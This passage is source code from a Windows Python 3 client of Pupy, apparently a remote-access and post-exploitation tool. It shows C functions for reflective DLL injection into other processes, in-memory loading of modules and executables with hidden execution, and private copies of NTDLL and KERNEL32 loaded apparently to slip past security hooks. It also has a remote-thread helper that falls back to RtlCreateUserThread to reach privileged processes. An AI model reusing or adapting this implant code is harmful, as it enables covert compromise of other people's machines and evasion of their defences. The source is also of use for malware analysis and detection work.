PyObject_IsTrue(py_is64bit);\n        if(is64bits){\n                is64bits=PROCESS_ARCH_X64;\n        }else{\n                is64bits=PROCESS_ARCH_X86;\n        }\n        if(dwPid == 0) {\n            return PyErr_Format(\n                    PyExc_Exception,\n                    \"Cannot inject in pid %d\", dwPid\n            );\n        }\n        if(inject_dll( dwPid, lpDllBuffer, dwDllLenght, NULL, is64bits) != ERROR_SUCCESS)\n                return NULL;\n        return PyBool_FromLong(1);\n}\n\nstatic PyObject *Py_load_dll(PyObject *self, PyObject *args)\n{\n        DWORD dwPid;\n        const char *lpDllBuffer;\n        DWORD dwDllLenght;\n\n        const char *dllname;\n        if (!PyArg_ParseTuple(args, \"ss#\", &dllname, &lpDllBuffer, &dwDllLenght))\n                return NULL;\n\n        return PyLong_FromVoidPtr(MyLoadLibrary(dllname, lpDllBuffer, NULL));\n}\n\nstatic PyObject *Py_find_function_address(PyObject *self, PyObject *args)\n{\n        const char *lpDllName = NULL;\n        const char *lpFuncName = NULL;\n        void *address = NULL;\n\n        if (PyArg_ParseTuple(args, \"ss\", &lpDllName, &lpFuncName)) {\n                address = MyFindProcAddress(lpDllName, lpFuncName);\n        }\n\n        return PyLong_FromVoidPtr(address);\n}\n\nstatic PyObject *Py_is_shared_object(PyObject *self, PyObject *args)\n{\n        return PyBool_FromLong(is_shared);\n}\n\nstatic PyObject *Py_set_is_shared_object(PyObject *self, PyObject *arg0)\n{\n        if (!is_shared && PyObject_IsTrue(arg0))\n                is_shared = 1;\n\n        return PyBool_FromLong(is_shared);\n}\n\nstatic PyObject *\nimport_module(PyObject *self, PyObject *args)\n{\n        char *data;\n        Py_ssize_t size;\n        char *initfuncname;\n        char *modname;\n        char *pathname;\n        //HMEMORYMODULE hmem;\n        HMODULE hmem;\n        FARPROC do_init;\n\n        ULONG_PTR cookie = 0;\n        char *oldcontext;\n        \n        PyObject *dataobj;\n        PyObject *spec;\n        if (!PyArg_ParseTuple(args, \"SsssO:import_module\",\n                              &dataobj,\n                              &initfuncname, &modname, &pathname, &spec)) {\n            dprint(\"error in PyArg_ParseTuple()\\n\");\n            return NULL;\n        }\n\n        if (PyBytes_AsStringAndSize(dataobj, &data, &size)==-1) {\n                PyErr_Format(PyExc_ImportError,\n                             \"cannot convert bytes to char * : %s (err=%d)\",\n                                 pathname, GetLastError());\n                return NULL;\n\n        }\n        dprint(\n                \"import_module(name=%s size=%d ptr=%p)\\n\",\n                pathname, size, data);\n\n        //try some windows manifest magic...\n        cookie = _My_ActivateActCtx();\n        hmem = MyLoadLibrary(pathname, data, NULL);\n        _My_DeactivateActCtx(cookie);\n\n        if (!hmem) {\n                PyErr_Format(PyExc_ImportError,\n                             \"MemoryLoadLibrary failed loading %s (err=%d)\",\n                                 pathname, GetLastError());\n                return NULL;\n        }\n\n        do_init = MyGetProcAddress(hmem, initfuncname);\n        if (!do_init) {\n                MyFreeLibrary(hmem);\n                PyErr_Format(PyExc_ImportError,\n                             \"Could not find function %s\", initfuncname);\n                return NULL;\n        }\n\n        oldcontext = _Py_PackageContext;\n\n        _Py_PackageContext = modname;\n        PyObject *m = do_init();\n        _Py_PackageContext = oldcontext;\n\n        // multi phase init\n        if (PyObject_TypeCheck(m, &PyModuleDef_Type)) {\n            struct PyModuleDef *def;\n            PyObject *state;\n\n            m = PyModule_FromDefAndSpec((PyModuleDef*)m, spec);\n            def = PyModule_GetDef(m);\n            state = PyModule_GetState(m);\n            if (state == NULL) {\n                PyModule_ExecDef(m, def);\n            }\n            return m;\n        }\n\n        PyObject *modules = NULL;\n        modules = PyImport_GetModuleDict();\n        PyObject *name = PyUnicode_FromString(modname);\n        _PyImport_FixupExtensionObject(m, name, name, modules);\n\n        Py_DECREF(name);\n\n        if (PyErr_Occurred()) {\n            dprint(\"error at the end\\n\");\n                return NULL;\n        }\n\n        /* Retrieve from sys.modules */\n        return PyImport_ImportModule(modname);\n}\n\nstatic PyMethodDef methods[] = {\n        { \"is_shared\", Py_is_shared_object, METH_NOARGS, DOC(\"Client is shared object\") },\n        { \"_set_shared\", Py_set_is_shared_object, METH_NOARGS, DOC(\"\") },\n        { \"get_arch\", Py_get_arch, METH_NOARGS, DOC(\"get current pupy architecture (x86 or x64)\") },\n        { \"reflective_inject_dll\", Py_reflective_inject_dll, METH_VARARGS|METH_KEYWORDS,\n         DOC(\"reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)\\nreflectively inject a dll into a process. raise an Exception on failure\") },\n        { \"mexec\", Py_mexec, METH_VARARGS|METH_KEYWORDS, DOC(\"mexec(cmdline, raw_pe, redirected_stdio=True, hidden=True)\") },\n        { \"import_module\", import_module, METH_VARARGS,\n          \"import_module(data, size, initfuncname, path) -> module\" },\n        { \"load_dll\", Py_load_dll, METH_VARARGS, DOC(\"load_dll(dllname, raw_dll) -> ptr\") },\n        { \"set_exit_session_callback\", Py_set_exit_session_callback, METH_VARARGS, DOC(\"set_exit_session_callback(function)\")},\n        { \"find_function_address\", Py_find_function_address, METH_VARARGS,\n          DOC(\"find_function_address(dllname, function) -> address\") },\n        { NULL, NULL},         /* Sentinel */\n};\n\n\n\n\nstatic struct PyModuleDef PupyModuleDef =\n{\n    PyModuleDef_HEAD_INIT,\n    \"_pupy\", /* name of module */\n    \"\", /* module documentation, may be NULL */\n    -1,   /* size of per-interpreter state of the module, or -1 if the module keeps state in global variables. */\n    methods\n};\n\n#ifdef _PUPY_DYNLOAD\n#define FUNC_EXPORT PyMODINIT_FUNC\n#else\n#define FUNC_EXPORT void *\n#endif\n\nFUNC_EXPORT PyInit__pupy(void) {\n        PyObject *pupy;\n        //PyObject *pupy = Py_InitModule3(\"_pupy\", methods, module_doc);\n        dprint(\"creating pupy module ...\\n\");\n        pupy = PyModule_Create(&PupyModuleDef);\n        if (!pupy) {\n                return NULL;\n        }\n        dprint(\"adding string constant ...\\n\");\n\n        PyModule_AddStringConstant(pupy, \"revision\", GIT_REVISION_HEAD);\n        ExecError = PyErr_NewException(\"_pupy.error\", NULL, NULL);\n\n        Py_XINCREF(ExecError);\n        if (PyModule_AddObject(pupy, \"error\", ExecError) < 0) {\n            Py_XDECREF(ExecError);\n            Py_CLEAR(ExecError);\n            Py_DECREF(pupy);\n            return NULL;\n        }\n        dprint(\"returning module %x ...\\n\", pupy);\n        \n        return pupy;\n}\n\nBOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )\n{\n    DWORD threadId;\n    BOOL bReturnValue = TRUE;\n\n    dprint(\"Call DllMain (_pupy) %d/%p\\n\", dwReason, lpReserved);\n\n    switch( dwReason )\n    {\n        case DLL_QUERY_HMODULE:\n            if( lpReserved != NULL )\n                *(HMODULE *)lpReserved = hAppInstance;\n        break;\n\n        case DLL_THREAD_ATTACH:\n            break;\n\n        case DLL_PROCESS_ATTACH:\n            hAppInstance = hinstDLL;\n            if (lpReserved > 0xFFFF) {\n                _pupy_pyd_args_t *args =\n                        (_pupy_pyd_args_t*) lpReserved;\n\n                if (args->pvMemoryLibraries) {\n                        MySetLibraries(args->pvMemoryLibraries);\n                }\n\n                args->cbExit = on_exit_session;\n                args->blInitialized = TRUE;\n            }\n            return TRUE;\n\n        case DLL_THREAD_DETACH:\n            break;\n\n        case DLL_PROCESS_DETACH:\n            dprint(\"Should not happen?\\n\");\n            return TRUE;\n    }\n\n    dprint(\"Call DllMain - completed\\n\");\n    return bReturnValue;\n}\n\n"
  },
  {
    "path": "client/sources-windows-py3/pupy_load.c",
    "content": "/*\n# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)\n# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms\n*/\n\n#include <windows.h>\n#include <signal.h>\n\n#include \"revision.h\"\n#include \"pupy_load.h\"\n#include \"debug.h\"\n\n#include \"Python-dynload.c\"\n\n#ifdef POSTMORTEM\n#include \"postmortem.h\"\n#include \"postmortem.c\"\n#endif\n\n#ifdef _PUPY_DYNLOAD\n#ifdef DEBUG\n#include \"_pupy_debug_pyd.c\"\n#define _pupy_pyd_c_start _pupy_debug_pyd_c_start\n#define _pupy_pyd_c_size _pupy_debug_pyd_c_size\n#else\n#include \"_pupy_pyd.c\"\n#endif\n#endif\n\n#define WINDOW_CLASS_NAME \"DummyWindowClass\"\n\nstatic on_exit_session_t on_exit_session_cb = NULL;\nstatic BOOL on_exit_session_called = FALSE;\n\ntypedef LPWSTR* (*CommandLineToArgvW_t)(\n    LPCWSTR lpCmdLine,\n    int     *pNumArgs\n);\n\ntypedef VOID (*__p_set_abort_behavior_t)(DWORD, DWORD);\ntypedef VOID (__cdecl *signal_t) (\n    int sig,\n    void (__cdecl *func ) (int)\n);\n\n\n#ifdef DEBUG\n// Redirect early stdout to some file\nstatic\nvoid redirect_stdout() {\n    FILE* new_log;\n    char tmpdir[MAX_PATH];\n    char tmp[MAX_PATH];\n\n    dprint(\"Redirect stdout requested\\n\");\n\n    if (!GetTempPathA(sizeof(tmpdir), tmpdir))\n        return;\n\n    dprint(\"Redirect stdout, tmpdir: %s\\n\", tmpdir);\n\n    if (!GetTempFileNameA(\n            tmpdir,\n            \"pup\",\n            0,\n            tmp))\n        return;\n\n    set_debug_log(tmp);\n}\n#endif\n\n\n// https://stackoverflow.com/questions/291424/\nstatic\nLPSTR* CommandLineToArgvA(INT *pNumArgs)\n{\n    LPWSTR cmdline;\n    LPWSTR* args;\n    LPSTR* result;\n    LPSTR buffer;\n\n    int retval;\n    int numArgs;\n    int storage;\n    int bufLen;\n    int i;\n\n    static CommandLineToArgvW_t CommandLineToArgvW_ = NULL;\n\n    if (!CommandLineToArgvW_) {\n        HMODULE hShell32 = LoadLibrary(\"SHELL32.DLL\");\n        CommandLineToArgvW_ = (CommandLineToArgvW_t) GetProcAddress(\n            hShell32, \"CommandLineToArgvW\");\n        dprint(\"CommandLineToArgvW: %p\\n\", CommandLineToArgvW_);\n    }\n\n    if (!CommandLineToArgvW_) {\n        dprint(\"Failed to load CommandLineToArgvW from SHELL32.DLL\\n\");\n        *pNumArgs = 0;\n        return NULL;\n    }\n\n    numArgs = 0;\n\n    cmdline = GetCommandLineW();\n    if (!cmdline) {\n        dprint(\"Command line not found\");\n        *pNumArgs = 0;\n        return NULL;\n    }\n\n    args = CommandLineToArgvW_(cmdline, &numArgs);\n    if (args == NULL) {\n        *pNumArgs = 0;\n        return NULL;\n    }\n\n    storage = numArgs * sizeof(LPSTR);\n    for (i = 0; i < numArgs; ++ i)\n    {\n        retval = WideCharToMultiByte(\n            CP_UTF8, 0, args[i], -1, NULL,\n            0, NULL, NULL\n        );\n        if (!SUCCEEDED(retval))\n        {\n            LocalFree(args);\n            *pNumArgs = 0;\n            return NULL;\n        }\n\n        storage += retval;\n    }\n\n    result = (LPSTR*)LocalAlloc(LMEM_FIXED, storage);\n    if (result == NULL)\n    {\n        LocalFree(args);\n        *pNumArgs = 0;\n        return NULL;\n    }\n\n    bufLen = storage - (numArgs * sizeof(LPSTR));\n    buffer = ((LPSTR)result) + (numArgs * sizeof(LPSTR));\n    for (i = 0; i < numArgs; ++ i)\n    {\n        if (bufLen < 0) {\n            dprint(\"Buflen exhaused, arg %d (%d/%d)\\n\", i, bufLen, storage);\n            numArgs = i;\n            break;\n        }\n\n        retval = WideCharToMultiByte(\n            CP_UTF8, 0, args[i], -1, buffer,\n            bufLen, NULL, NULL\n        );\n\n        if (!SUCCEEDED(retval))\n        {\n            LocalFree(result);\n            LocalFree(args);\n            *pNumArgs = i;\n            return NULL;\n        }\n\n        result[i] = buffer;\n\n        buffer += retval;\n        bufLen -= retval;\n    }\n\n    LocalFree(args);\n\n    *pNumArgs = numArgs;\n    return result;\n}\n\n#ifdef _PUPY_PRIVATE_NT\ntypedef BOOL (WINAPI *LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);\n\nstatic const PSTR NtDllAllowedPrefixes[] = {\n    \"Nt\", \"RtlAdjust\", \"RtlAllocate\", \"RtlConnect\",\n    NULL\n};\nstatic const PSTR Kernel32AllowedPrefixes[] = {\n    \"Open\", \"CreateRemote\", \"CreateFile\",\n    \"Write\", \"Read\", \"Terminate\", \"Resume\", \"Virtual\",\n    \"Reg\", NULL\n};\n#endif\n\nstatic\nLONG WINAPI OnThreadCrash(PVOID ExceptionInfo) {\n\n#ifdef POSTMORTEM\n    LONG lVerdict = Postmortem(ExceptionInfo);\n#else\n    LONG lVerdict = 0;\n#endif\n\n    if (on_exit_session_cb && !on_exit_session_called) {\n        dprint(\"Try to notify about client death\\n\");\n\n        on_exit_session_called = TRUE;\n        on_exit_session_cb();\n\n        dprint(\"Try to notify about client death - done\\n\");\n    }\n\n    if (ExceptionInfo == NULL) {\n        dprint(\"Non-Exception crash. Terminate process\\n\");\n        TerminateProcess(GetCurrentProcess(), 0);\n    }\n\n    return lVerdict;\n}\n\nvoid OnAbortHandler(int signum)\n{\n    dprint(\"Get abort() exception!\\n\");\n    OnThreadCrash(NULL);\n}\n\nvoid initialize(BOOL isDll) {\n    int i, argc = 0;\n    char **argv = NULL;\n    char *oldcontext;\n\n#ifdef _PUPY_DYNLOAD\n    _pupy_pyd_args_t args;\n#endif\n\n#ifdef _PUPY_PRIVATE_NT\n    HMODULE hNtDll = GetModuleHandleA(\"NTDLL.DLL\");\n    HMODULE hKernelBase = GetModuleHandleA(\"KERNELBASE.DLL\");\n    HMODULE hKernel32 = GetModuleHandleA(\"KERNEL32.DLL\");\n#ifdef _PUPY_PRIVATE_WS2_32\n    HMODULE hWs2_32 = LoadLibraryA(\"WS2_32.DLL\");\n#endif\n\n#ifdef WIN_X64\n    BOOL blIsWow64 = FALSE;\n#else\n    BOOL blIsWow64 = TRUE;\n    LPFN_ISWOW64PROCESS fnIsWow64Process = (LPFN_ISWOW64PROCESS) GetProcAddress(\n        hKernel32, \"IsWow64Process\");\n\n    if (fnIsWow64Process)\n        fnIsWow64Process(GetCurrentProcess(),&blIsWow64);\n#endif\n\n    if (!blIsWow64 && hNtDll && hKernel32 && hKernelBase)  {\n        HMODULE hPrivate;\n        dprint(\"Loading private copy of NTDLL/KERNELBASE\\n\");\n\n        hPrivate = MyLoadLibraryEx(\n            \"NTDLL.DLL\", hNtDll, NULL, NtDllAllowedPrefixes,\n            MEMORY_LOAD_FROM_HMODULE | MEMORY_LOAD_EXPORT_FILTER_PREFIX\n        );\n\n        if (hPrivate) {\n            dprint(\n                \"Private copy of NTDLL.DLL loaded to %p (orig: %p)\\n\",\n                hPrivate, hNtDll\n            );\n\n            hPrivate = MyLoadLibraryEx(\n                \"KERNEL32.DLL\", hKernelBase, hKernel32,\n                Kernel32AllowedPrefixes,\n                MEMORY_LOAD_FROM_HMODULE | MEMORY_LOAD_ALIASED | \\\n                    MEMORY_LOAD_EXPORT_FILTER_PREFIX | \\\n                    MEMORY_LOAD_NO_EP\n            );\n\n            if (hPrivate) {\n                dprint(\n                    \"Private copy of KERNELBASE.DLL loaded to %p as KERNEL32 (orig: %p)\\n\",\n                    hPrivate, hKernel32\n                );\n            } else {\n                dprint(\"PRIVATE LOAD OF KERNEL32 FAILED\\n\");\n            }\n\n#ifdef _PUPY_PRIVATE_WS2_32\n            hPrivate = MyLoadLibraryEx(\n                \"WS2_32.DLL\", hWs2_32, NULL, NULL, MEMORY_LOAD_FROM_HMODULE\n            );\n\n            if (hPrivate) {\n                dprint(\n                    \"Private copy of WS2_32.DLL loaded to %p (orig %p)\\n\",\n                    hPrivate, hWs2_32\n                );\n                FreeLibrary(hWs2_32);\n            } else {\n                dprint(\"PRIVATE LOAD OF WS2_32 FAILED\\n\");\n            }\n#endif\n        }\n    }\n#endif\n\n    dprint(\"TEMPLATE REV: %s\\n\", GIT_REVISION_HEAD);\n\n#ifdef DEBUG\n    redirect_stdout();\n#endif\n\n    dprint(\"Parsing command line..\\n\");\n    argv = CommandLineToArgvA(&argc);\n\n    for (i=0; i<argc; i++) {\n        dprint(\"ARGV: %d: %s\\n\", i, argv[i]);\n    }\n\n    dprint(\"Initializing python...\\n\");\n    if (!initialize_python(argc, argv, isDll)) {\n        return;\n    }\n\n    {\n        DWORD dwOldErrorMode = SetErrorMode(\n            SEM_FAILCRITICALERRORS |\n                SEM_NOGPFAULTERRORBOX |\n                SEM_NOALIGNMENTFAULTEXCEPT |\n                SEM_NOGPFAULTERRORBOX |\n                SEM_NOOPENFILEERRORBOX\n        );\n\n        dprint(\"Old error mode: %08x\\n\", dwOldErrorMode);\n    }\n\n    signal(SIGABRT, OnAbortHandler);\n\n    _set_abort_behavior(0, _WRITE_ABORT_MSG);\n\n    /*\n    {\n        HMODULE hMSVCR90 = MyGetModuleHandleA(\"MSVCR90\");\n        if (hMSVCR90) {\n            __p_set_abort_behavior_t __p_set_abort_behavior = (__p_set_abort_behavior_t)\n                MyGetProcAddress(hMSVCR90, \"_set_abort_behavior\");\n\n            signal_t __p_signal = (signal_t) MyGetProcAddress(hMSVCR90, \"signal\");\n\n            if (__p_set_abort_behavior) {\n                __p_set_abort_behavior(0, _WRITE_ABORT_MSG);\n                dprint(\"_set_abort_behavior/MSVCR90 - default abort() handlers removed\\n\");\n            } else {\n                dprint(\"_set_abort_behavior/MSVCR90 - _set_abort_behavior was not found\\n\");\n            }\n\n            if (__p_signal) {\n                __p_signal(SIGABRT, OnAbortHandler);\n                dprint(\"signal/MSVCR90 - set sigabrt handler\\n\");\n            } else {\n                dprint(\"signal/MSVCR90 - signal was not found\\n\");\n            }\n        } else {\n            dprint(\"_set_abort_behavior/MSVCR90 - DLL was not loaded\\n\");\n        }\n    }\n    */\n\n#ifdef POSTMORTEM\n    EnableCrashingOnCrashes();\n\n    if (isDll) {\n        dprint(\"Postmortem - enable per-thread handlers\\n\");\n        MySetUnhandledExceptionFilter(NULL, OnThreadCrash);\n    } else {\n        dprint(\"Postmortem - set global handler\\n\");\n        SetUnhandledExceptionFilter(OnThreadCrash);\n    }\n#endif\n\n#ifdef _PUPY_DYNLOAD\n    dprint(\"_pupy built with dynload\\n\");\n\n    args.pvMemoryLibraries = MyGetLibraries();\n    args.cbExit = NULL;\n    args.blInitialized = FALSE;\n\n    dprint(\"Load _pupy\\n\");\n    HMODULE pupyhMod = xz_dynload(\n        \"_pupy.pyd\",\n        _pupy_pyd_c_start, _pupy_pyd_c_size,\n        &args\n    );\n\n    if (args.blInitialized != TRUE) {\n        dprint(\"_pupy.pyd initialization failed\\n\");\n        return;\n    }\n\n    typedef FARPROC (*PyInit__pupyT)(void);\n    PyInit__pupyT PyInit__pupy;\n    PyInit__pupy = (PyInit__pupyT)MyGetProcAddress(pupyhMod, \"PyInit__pupy\");\n\n    oldcontext = _Py_PackageContext;\n    _Py_PackageContext = \"_pupy\";\n    PyObject *m = PyInit__pupy();\n    _Py_PackageContext = oldcontext;\n    \n    \n    PyObject *modules = NULL;\n    modules = PyImport_GetModuleDict();\n    PyObject *name = PyUnicode_FromString(\"_pupy\");\n    _PyImport_FixupExtensionObject(m, name, name, modules);\n\n    Py_DECREF(name);\n    \n\n    dprint(\"cbExit: %p\\n\", args.cbExit);\n    dprint(\"pvMemoryLibraries: %p\\n\", args.pvMemoryLibraries);\n\n    on_exit_session_cb = args.cbExit;\n\n#else\n    PyInit_pupy();\n#endif\n\n    return;\n}\n\nvoid deinitialize() {\n    deinitialize_python();\n}\n\nLRESULT CALLBACK WinProc (HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)\n{\n    BOOL blExit = FALSE;\n\n    switch (msg) {\n    case WM_QUERYENDSESSION:\n        switch (lParam) {\n            case ENDSESSION_CLOSEAPP:\n                dprint(\"WinProc: WM_QUERYENDSESSION/ENDSESSION_CLOSEAPP\\n\");\n                break;\n            case ENDSESSION_CRITICAL:\n                dprint(\"WinProc: WM_QUERYENDSESSION/ENDSESSION_CRITICAL\\n\");\n                break;\n            case ENDSESSION_LOGOFF:\n                dprint(\"WinProc: WM_QUERYENDSESSION/ENDSESSION_LOGOFF\\n\");\n                break;\n        }\n        break;\n\n    case WM_ENDSESSION:\n        blExit = TRUE;\n        dprint(\"WinProc: WM_ENDSESSION\\n\");\n        break;\n    case WM_CLOSE:\n        blExit = TRUE;\n        dprint(\"WinProc: WM_CLOSE\\n\");\n        break;\n    case WM_QUIT:\n        blExit = TRUE;\n        dprint(\"WinProc: WM_QUIT\\n\");\n        break;\n\n    default:\n        return DefWindowProc (hwnd, msg, wParam, lParam);\n    }\n\n    if (blExit) {\n        dprint(\"WinProc: Get Exit message. Current handler: %p\\n\", on_exit_session_cb);\n        if (on_exit_session_cb && !on_exit_session_called) {\n            on_exit_session_called = TRUE;\n            on_exit_session_cb();\n            dprint(\"WinProc: callback called\\n\");\n        }\n    }\n\n    return FALSE;\n}\n\n#ifdef POSTMORTEM\nstatic LONG PostmortemFilter(int code, PEXCEPTION_POINTERS pExceptionInfo) {\n    LPTOP_LEVEL_EXCEPTION_FILTER lpLocalFilter = MyGetUnhandledExceptionFilter();\n    dprint(\"PostmortemFilter: Exception code %d; Info: %p\\n\", code, pExceptionInfo);\n\n    if (lpLocalFilter) {\n        dprint(\"Using local postmortem filter\\n\");\n        lpLocalFilter(pExceptionInfo);\n        return EXCEPTION_CONTINUE_SEARCH;\n    } else {\n        dprint(\"Using global postmortem filter\\n\");\n        return Postmortem(pExceptionInfo);\n    }\n}\n#endif\n\nDWORD WINAPI _run_pupy_thread(LPVOID lpArg)\n{\n#ifdef POSTMORTEM\n    __try {\n        dprint(\"Pupy worker started [Postmortem enabled]\\n\");\n        run_pupy();\n    }\n    __except(PostmortemFilter(GetExceptionCode(), GetExceptionInformation())) {\n        dprint(\"Fatal error at main thread\\n\");\n    }\n#else\n    dprint(\"Pupy worker started [Postmortem disabled]\\n\");\n    run_pupy();\n#endif\n    dprint(\"Pupy worker exited\\n\");\n    return 0;\n}\n\nDWORD WINAPI execute(LPVOID lpArg)\n{\n    DWORD dwExitCode = -1;\n    MSG msg;\n    BOOL bRet;\n    WNDCLASS wc;\n    HWND hwndMain;\n    HINSTANCE hinst;\n    HANDLE hThread;\n    DWORD threadId;\n    DWORD dwWake;\n    WNDCLASSEX wx;\n\n    dprint(\"Running pupy...\\n\");\n\n    ZeroMemory(&wx, sizeof(WNDCLASSEX));\n\n    wx.cbSize = sizeof(WNDCLASSEX);\n    wx.lpfnWndProc = WinProc;\n    wx.style = CS_GLOBALCLASS;\n    wx.lpszClassName = WINDOW_CLASS_NAME;\n\n    if ( ! RegisterClassEx(&wx) ) {\n        dprint(\"RegisterClassEx failed: %d\\n\", GetLastError());\n        goto lbExit;\n    }\n\n    hwndMain = CreateWindowEx(\n         0,\n         WINDOW_CLASS_NAME,\n         NULL,\n         0, 0, 0, 0, 0,\n         NULL, NULL, NULL, NULL\n    );\n\n    if (!hwndMain) {\n        dprint(\"CreateWindowEx failed: %d\\n\", GetLastError());\n        goto lbUnregisterClass;\n    }\n\n    hThread = CreateThread(\n        NULL,\n        0,\n        _run_pupy_thread,\n        NULL,\n        0,\n        &threadId\n    );\n\n    if (!hThread) {\n        dprint(\"CreateThread failed: %d\\n\", GetLastError());\n        dwExitCode = -GetLastError();\n        goto lbDestroyWindow;\n    }\n\n    for (;;) {\n        dwWake = MsgWaitForMultipleObjects(\n            1,\n            &hThread,\n            FALSE,\n            INFINITE,\n            QS_ALLINPUT\n        );\n\n        switch (dwWake) {\n        case WAIT_FAILED:\n            dwExitCode = -3;\n            goto lbDestroyWindow;\n\n        case WAIT_TIMEOUT:\n            continue;\n\n        case WAIT_OBJECT_0:\n            dwExitCode = 0;\n            goto lbDestroyWindow;\n\n        case WAIT_OBJECT_0 + 1:\n            while (PeekMessage( &msg, NULL, 0, 0, PM_REMOVE)) {\n                TranslateMessage(&msg);\n                DispatchMessage(&msg);\n            }\n            break;\n        }\n    }\n\nlbDestroyWindow:\n    DestroyWindow(hwndMain);\n\nlbUnregisterClass:\n    if (UnregisterClassA(WINDOW_CLASS_NAME, NULL) == FALSE) {\n        dprint(\"UnregisterClass failed: dwLastError=%d\\n\", GetLastError());\n    }\n\nlbExit:\n    return dwExitCode;\n}\n"
  },
  {
    "path": "client/sources-windows-py3/pupy_load.h",
    "content": "#ifndef PYTHONINTERPRETER\n#define PYTHONINTERPRETER\n\n#include <windows.h>\n\ntypedef VOID (*on_exit_session_t)(VOID);\n\n#ifdef _PUPY_DYNLOAD\n\ntypedef struct _pupy_pyd_args {\n    PVOID *pvMemoryLibraries;\n    on_exit_session_t cbExit;\n    BOOL blInitialized;\n} _pupy_pyd_args_t;\n#else\nvoid on_exit_session(void);\n#endif\n\n\nvoid initialize(BOOL isDll);\nDWORD WINAPI execute(LPVOID lpArg);\nvoid deinitialize();\n\nvoid setup_jvm_class();\n\n#endif\n"
  },
  {
    "path": "client/sources-windows-py3/remote_thread.c",
    "content": "//#include \"common.h\"\n#include <windows.h>\n#include \"debug.h\"\n\n#include \"remote_thread.h\"\n/*! @brief Container structure for a client identifer used when creating remote threads with RtlCreateUserThread. */\ntypedef struct _MIMI_CLIENT_ID {\n    PVOID UniqueProcess;\n    PVOID UniqueThread;\n} CLIENTID;\n\n/*! @brief Function pointer type for the RtlCreateUserThread function in ntdll.dll */\ntypedef NTSTATUS (WINAPI * PRtlCreateUserThread)(\n    HANDLE, PSECURITY_DESCRIPTOR, BOOL, ULONG, SIZE_T,\n    SIZE_T, PTHREAD_START_ROUTINE, PVOID, PHANDLE,\n    CLIENTID*\n);\n\ntypedef DWORD (WINAPI *PGetThreadId)(HANDLE Thread);\n\n/*! @brief Reference to the loaded RtlCreateUserThread function pointer. */\nstatic PRtlCreateUserThread pRtlCreateUserThread = NULL;\n\nstatic PGetThreadId fGetThreadId = NULL;\n\n/*! @brief Indication of whether an attempt to locate the pRtlCreateUserThread pointer has been made. */\nstatic BOOL pRtlCreateUserThreadAttempted = FALSE;\n\n/*!\n * @brief Helper function for creating a remote thread in a privileged process.\n * @param hProcess Handle to the target process.\n * @param sStackSize Size of the stack to use (if unsure, specify 0).\n * @param pvStartAddress Pointer to the function entry point that has been loaded into the target.\n * @param pvStartParam Pointer to the parameter to pass to the thread function.\n * @param dwCreateFlags Creation flags to use when creating the new thread.\n * @param pdwThreadId Pointer to the buffer that will receive the thread ID (optional).\n * @return Handle to the new thread.\n * @retval NULL Indicates an error, which can be retrieved with \\c GetLastError().\n * @remark This function has been put in place to wrap up the handling of creating remote threads\n *         in privileged processes across all operating systems. In Windows XP and earlier, the\n *         \\c CreateRemoteThread() function was sufficient to handle this case, however this changed\n *         in Vista and has been that way since. For Vista onwards, the use of the hidden API function\n *         \\c RtlCreateUserThread() is required. This function attempts to use \\c CreateRemoteThread()\n *         first and if that fails it will fall back to \\c RtlCreateUserThread(). This means that the\n *         existing behaviour is kept for when running on XP and earlier, or when the user is already\n *         running within a privileged process.\n */\nHANDLE create_remote_thread(HANDLE hProcess, SIZE_T sStackSize, LPVOID pvStartAddress, LPVOID pvStartParam, DWORD dwCreateFlags, LPDWORD pdwThreadId)\n{\n    NTSTATUS ntResult;\n    BOOL bCreateSuspended;\n    DWORD dwThreadId;\n    HANDLE hThread;\n\n    if (pdwThreadId == NULL)\n    {\n        pdwThreadId = &dwThreadId;\n    }\n\n    hThread = CreateRemoteThread(\n        hProcess, NULL, sStackSize,\n        (LPTHREAD_START_ROUTINE) pvStartAddress, pvStartParam,\n        dwCreateFlags, pdwThreadId\n    );\n\n    dprint(\"[REMOTETHREAD] CreateRemoteThread hThread = %p, ret=%d\\n\", hThread, GetLastError());\n\n    // ERROR_NOT_ENOUGH_MEMORY is returned when the function fails due to insufficient privs\n    // on Vista and later.\n    if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY)\n    {\n        dprint(\"[REMOTETHREAD] CreateRemoteThread seems to lack permissions, trying alternative options\\n\");\n        hThread = NULL;\n\n        // Only attempt to load the function pointer if we haven't attempted it already.\n        if (!pRtlCreateUserThreadAttempted)\n        {\n            if (pRtlCreateUserThread == NULL)\n            {\n                pRtlCreateUserThread = (PRtlCreateUserThread) GetProcAddress(\n                    GetModuleHandleA(\"NTDLL.DLL\"), \"RtlCreateUserThread\");\n\n                fGetThreadId = (PGetThreadId) GetProcAddress(\n                    GetModuleHandleA(\"KERNEL32.DLL\"), \"GetThreadId\");\n\n                if (pRtlCreateUserThread)\n                {\n                    dprint(\"[REMOTETHREAD] RtlCreateUserThread found at %p\\n\",\n                    pRtlCreateUserThread);\n                } else {\n                    dprint(\"[REMOTETHREAD] RtlCreateUserThread not found\\n\");\n                }\n            }\n            pRtlCreateUserThreadAttempted = TRUE;\n        }\n\n        // if at this point we don't have a valid pointer, it means that we don't have this function available\n        // on the current OS\n        if (pRtlCreateUserThread && fGetThreadId)\n        {\n            dprint(\"[REMOTETHREAD] Attempting thread creation with RtlCreateUserThread\\n\");\n            bCreateSuspended = (dwCreateFlags & CREATE_SUSPENDED) == CREATE_SUSPENDED;\n            ntResult = pRtlCreateUserThread(\n                hProcess, NULL, bCreateSuspended, 0, 0, 0,\n                (PTHREAD_START_ROUTINE) pvStartAddress, pvStartParam,\n                &hThread, NULL\n            );\n            SetLastError(ntResult);\n\n            dprint(\"[REMOTETHREAD] Created: %p (ret=%d)\\n\", hThread, ntResult);\n\n            if (ntResult == 0 && pdwThreadId)\n            {\n                *pdwThreadId = fGetThreadId(hThread);\n                dprint(\"[REMOTETHREAD] Thread ID: %08x\\n\", *pdwThreadId);\n            }\n        }\n        else\n        {\n            // restore the previous error so that it looks like we haven't done anything else\n            SetLastError(ERROR_NOT_ENOUGH_MEMORY);\n        }\n    }\n\n    return hThread;\n}\n\n\n"
  },
  {
    "path": "client/sources-windows-py3/remote_thread.h",
